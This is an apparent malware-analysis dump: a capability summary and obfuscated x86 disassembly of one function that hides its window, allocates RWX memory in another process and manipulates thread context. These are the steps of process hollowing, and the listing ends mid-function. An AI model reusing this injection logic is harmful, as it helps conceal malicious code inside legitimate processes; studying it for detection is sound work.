Function at 0x10006ba0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x108
mov eax, dword [0x1006c800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x10a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x109], al
mov dword [ebp - 0x110], 0xd64912e9
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x114], eax
sub eax, 0x800b2328
je 0x1000f81c
jmp 0x10006c13
mov eax, dword [ebp - 0x114]
sub eax, 0x81dab810
je 0x1001012f
jmp 0x10006c29
mov eax, dword [ebp - 0x114]
sub eax, 0x83379a09
je 0x10009da1
jmp 0x10006c3f
mov eax, dword [ebp - 0x114]
sub eax, 0x83cc6ace
je 0x1000c22b
jmp 0x10006c55
mov eax, dword [ebp - 0x114]
sub eax, 0x83ebc4cd
je 0x1000d1f2
jmp 0x10006c6b
mov eax, dword [ebp - 0x114]
sub eax, 0x8428d8d9
je 0x1000a567
jmp 0x10006c81
mov eax, dword [ebp - 0x114]
sub eax, 0x8462b974
je 0x10009f56
jmp 0x10006c97
mov eax, dword [ebp - 0x114]
sub eax, 0x85dc7eca
je 0x1000f06d
jmp 0x10006cad
mov eax, dword [ebp - 0x114]
sub eax, 0x86146f70
je 0x1000b308
jmp 0x10006cc3
mov eax, dword [ebp - 0x114]
sub eax, 0x86d40346
je 0x1000e24f
jmp 0x10006cd9
mov eax, dword [ebp - 0x114]
sub eax, 0x87debec9
je 0x1000ec3f
jmp 0x10006cef
mov eax, dword [ebp - 0x114]
sub eax, 0x8817cb62
je 0x1000d2cd
jmp 0x10006d05
mov eax, dword [ebp - 0x114]
sub eax, 0x88d87dad
je 0x10009979
jmp 0x10006d1b
mov eax, dword [ebp - 0x114]
sub eax, 0x8a90b971
je 0x1000cafa
jmp 0x10006d31
mov eax, dword [ebp - 0x114]
sub eax, 0x8ad088b9
je 0x1000d2dc
jmp 0x10006d47
mov eax, dword [ebp - 0x114]
sub eax, 0x8ae0e573
je 0x1000ce04
jmp 0x10006d5d
mov eax, dword [ebp - 0x114]
sub eax, 0x8b71ff08
je 0x1000acf6
jmp 0x10006d73
mov eax, dword [ebp - 0x114]
sub eax, 0x8b846eb9
je 0x1000b8ad
jmp 0x10006d89
mov eax, dword [ebp - 0x114]
sub eax, 0x8b973479
je 0x1000b080
jmp 0x10006d9f
mov eax, dword [ebp - 0x114]
sub eax, 0x8bc72d1b
je 0x1000b640
jmp 0x10006db5
mov eax, dword [ebp - 0x114]
sub eax, 0x8be9a065
je 0x1000a188
jmp 0x10006dcb
mov eax, dword [ebp - 0x114]
sub eax, 0x8c0c7934
je 0x1000f142
jmp 0x10006de1
mov eax, dword [ebp - 0x114]
sub eax, 0x8c1dc554
je 0x1000fa86
jmp 0x10006df7
mov eax, dword [ebp - 0x114]
sub eax, 0x8ca49474
je 0x1000c45d
jmp 0x10006e0d
mov eax, dword [ebp - 0x114]
sub eax, 0x8f2dc5d2
je 0x1000b959
jmp 0x10006e23
mov eax, dword [ebp - 0x114]
sub eax, 0x8f5943ea
je 0x1000a896
jmp 0x10006e39
mov eax, dword [ebp - 0x114]
sub eax, 0x8f6ff9dc
je 0x1000c35f
jmp 0x10006e4f
mov eax, dword [ebp - 0x114]
sub eax, 0x9017dc86
je 0x1000a6da
jmp 0x10006e65
mov eax, dword [ebp - 0x114]
sub eax, 0x901cf423
je 0x1000969f
jmp 0x10006e7b
mov eax, dword [ebp - 0x114]
sub eax, 0x9068ea08
je 0x1000ddf7
jmp 0x10006e91
mov eax, dword [ebp - 0x114]
sub eax, 0x91f81c63
je 0x1000b00a
jmp 0x10006ea7
mov eax, dword [ebp - 0x114]
sub eax, 0x92f4ad88
je 0x1000e9b8
jmp 0x10006ebd
mov eax, dword [ebp - 0x114]
sub eax, 0x931ea42b
je 0x1000948e
jmp 0x10006ed3
mov eax, dword [ebp - 0x114]
sub eax, 0x93a4c785
je 0x1000bb01
jmp 0x10006ee9
mov eax, dword [ebp - 0x114]
sub eax, 0x93b7d8b5
je 0x1000bc61
jmp 0x10006eff
mov eax, dword [ebp - 0x114]
sub eax, 0x93d28e9f
je 0x1000f306
jmp 0x10006f15
mov eax, dword [ebp - 0x114]
sub eax, 0x94250571
je 0x1000b4e6
jmp 0x10006f2b
mov eax, dword [ebp - 0x114]
sub eax, 0x9449f31e
je 0x1000ce25
jmp 0x10006f41
mov eax, dword [ebp - 0x114]
sub eax, 0x9574b095
je 0x1000a3f1
jmp 0x10006f57
mov eax, dword [ebp - 0x114]
sub eax, 0x96bc1cd4
je 0x1000f4cc
jmp 0x10006f6d
mov eax, dword [ebp - 0x114]
sub eax, 0x9719e992
je 0x1000fb3a
jmp 0x10006f83
mov eax, dword [ebp - 0x114]
sub eax, 0x97de11bc
je 0x1000a933
jmp 0x10006f99
mov eax, dword [ebp - 0x114]
sub eax, 0x9807012f
je 0x1000cec7
jmp 0x10006faf
mov eax, dword [ebp - 0x114]
sub eax, 0x9912f902
je 0x1000f798
jmp 0x10006fc5
mov eax, dword [ebp - 0x114]
sub eax, 0x996e4766
je 0x1000ef34
jmp 0x10006fdb
mov eax, dword [ebp - 0x114]
sub eax, 0x998dc086
je 0x1000c01b
jmp 0x10006ff1
mov eax, dword [ebp - 0x114]
sub eax, 0x9a73db55
je 0x1000e037
jmp 0x10007007
mov eax, dword [ebp - 0x114]
sub eax, 0x9b36bcd2
je 0x10009fec
jmp 0x1000701d
mov eax, dword [ebp - 0x114]
sub eax, 0x9bb0b14f
je 0x10009878
jmp 0x10007033
mov eax, dword [ebp - 0x114]
sub eax, 0x9c43eeee
je 0x1000ea70
jmp 0x10007049
mov eax, dword [ebp - 0x114]
sub eax, 0x9d3425d9
je 0x1000d553
jmp 0x1000705f
mov eax, dword [ebp - 0x114]
sub eax, 0x9d54212b
je 0x1000d1d1
jmp 0x10007075
mov eax, dword [ebp - 0x114]
sub eax, 0x9da01752
je 0x1000eb48
jmp 0x1000708b
mov eax, dword [ebp - 0x114]
sub eax, 0x9ea2042c
je 0x1000c46c
jmp 0x100070a1
mov eax, dword [ebp - 0x114]
sub eax, 0x9ef0bf19
je 0x1000e0eb
jmp 0x100070b7
mov eax, dword [ebp - 0x114]
sub eax, 0x9fd0f75f
je 0x1000c79c
jmp 0x100070cd
mov eax, dword [ebp - 0x114]
sub eax, 0xa0195648
je 0x1000d6f5
jmp 0x100070e3
mov eax, dword [ebp - 0x114]
sub eax, 0xa04ee1c5
je 0x1000ed7c
jmp 0x100070f9
mov eax, dword [ebp - 0x114]
sub eax, 0xa12d7eea
je 0x1000d891
jmp 0x1000710f
mov eax, dword [ebp - 0x114]
sub eax, 0xa15dcaf6
je 0x1000f5f5
jmp 0x10007125
mov eax, dword [ebp - 0x114]
sub eax, 0xa2a0d9c9
je 0x1000ec30
jmp 0x1000713b
mov eax, dword [ebp - 0x114]
sub eax, 0xa304a10e
je 0x1000aba4
jmp 0x10007151
mov eax, dword [ebp - 0x114]
sub eax, 0xa4bb1129
je 0x1000d802
jmp 0x10007167
mov eax, dword [ebp - 0x114]
sub eax, 0xa4c06249
je 0x1001009f
jmp 0x1000717d
mov eax, dword [ebp - 0x114]
sub eax, 0xa4c4f507
je 0x1000d1c2
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x32d6de38
sub edx, 1
sub edx, 0x32d6de38
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1b9561da
mov ecx, 0x1f43632
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xd8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011b0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011b0
add esp, 4
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d26c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d268]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d264]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf7d1c4a5
mov ecx, 0xc7a9d135
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d3a8]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x69ea3bd5
jmp 0x10010168
mov dword [ebp - 0x110], 0x5074c327
jmp 0x10010168
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d390]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x49ca730e
jmp 0x10010168
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d248]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d244]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d240]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0xd48d27bc
sub edx, 1
sub edx, 0xd48d27bc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0b67a30
mov ecx, 0x41d81fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dl, 1
mov eax, 0x289298dd
mov ecx, 0x666d389
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d238]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4c65150
mov ecx, 0xabc630ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dword [ebp - 0x110], 0xfd961986
jmp 0x10010168
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d228]
movss dword [eax], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe031ca73
mov ecx, 0xcc15ad4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d380]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d37c]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x255fc8a3
jmp 0x10010168
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001d368]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xba878fc0
mov ecx, 0xf1c3ca07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001d220]
movss dword [eax], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6558137c
mov ecx, 0x2efe546c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001d218]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x93dd5823
sub edx, 1
add edx, 0x93dd5823
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54902eca
mov ecx, 0xf59950ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35fd1a4e
mov ecx, 0x285af005
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0xc271e9a8
sub edx, 1
add edx, 0xc271e9a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfd64d64f
mov ecx, 0x8b973479
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001d208]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd64d64f
mov ecx, 0xeef93783
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dl, 1
mov eax, 0x6385ffaf
mov ecx, 0xb3a20752
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dword [ebp - 0x110], 0x6385ffaf
jmp 0x10010168
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001d330]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xe60744ed
jmp 0x10010168
mov dl, 1
mov eax, 0x33238292
mov ecx, 0x5235fb83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001d1f4]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x34fd6dd2
mov ecx, 0x11133db1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d308]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xdc327426
jmp 0x10010168
mov dl, 1
mov eax, 0x5ac6f25b
mov ecx, 0x22c9a368
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x67634db8
mov ecx, 0xcec328
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001d2e4]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x9ea2042c
mov ecx, 0x6a86ca7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0xfc716e57
sub edx, 1
sub edx, 0xfc716e57
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7eead1ec
mov ecx, 0xa626349e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dword [ebp - 0x110], 0x9ea2042c
jmp 0x10010168
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x39332d76
sub edx, 1
sub edx, 0x39332d76
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3d6e686f
mov ecx, 0xb5688610
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001d2d4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001d2d0]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x75c407aa
jmp 0x10010168
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001d2bc]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x7deccdeb
jmp 0x10010168
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001d2b8]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x9449f31e
jmp 0x10010168
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x53a0ba90
sub edx, 1
add edx, 0x53a0ba90
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7ddf680
mov ecx, 0xc71d0ad8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dl, 1
mov eax, 0x64cff6e6
mov ecx, 0x31eae9dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001d298]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x83ebc4cd
jmp 0x10010168
mov dl, 1
mov eax, 0xe1685970
mov ecx, 0xfc856bd6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dword [ebp - 0x110], 0x8ad088b9
jmp 0x10010168
mov dword [ebp - 0x110], 0xe1685970
jmp 0x10010168
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001d284]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001d280]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xba8b510d
jmp 0x10010168
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0xdaf81039
sub edx, 1
sub edx, 0xdaf81039
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xac5141db
mov ecx, 0xc5c7a8eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001d274]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xbe928ecf
jmp 0x10010168
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001d194]
movss dword [eax], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa3039a2
mov ecx, 0xbb2c375f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe13d1f76
mov ecx, 0xf04d17c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7a], al
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x6b514dfb
sub edx, 1
add edx, 0x6b514dfb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f9307dc
mov ecx, 0x2ff6c669
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4be5706b
mov ecx, 0x7ba8c39a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x79], al
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0xadbaeeff
sub edx, 1
add edx, 0xadbaeeff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x26176ee6
mov ecx, 0xf3e2cefb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dword [ebp - 0x110], 0x60be27c4
jmp 0x10010168
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdd242a05
mov ecx, 0xf9d25e2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dl, byte [ebp - 0x39]
mov eax, 0xe6de693f
mov ecx, 0x590990fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov dword [ebp - 0x110], 0x87debec9
jmp 0x10010168
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b6725a4
mov ecx, 0xe022895f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
add ecx, 0xf20bda48
add ecx, 8
sub ecx, 0xf20bda48
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xf879ddd1
sub ecx, 8
add ecx, 0xf879ddd1
shr ecx, 1
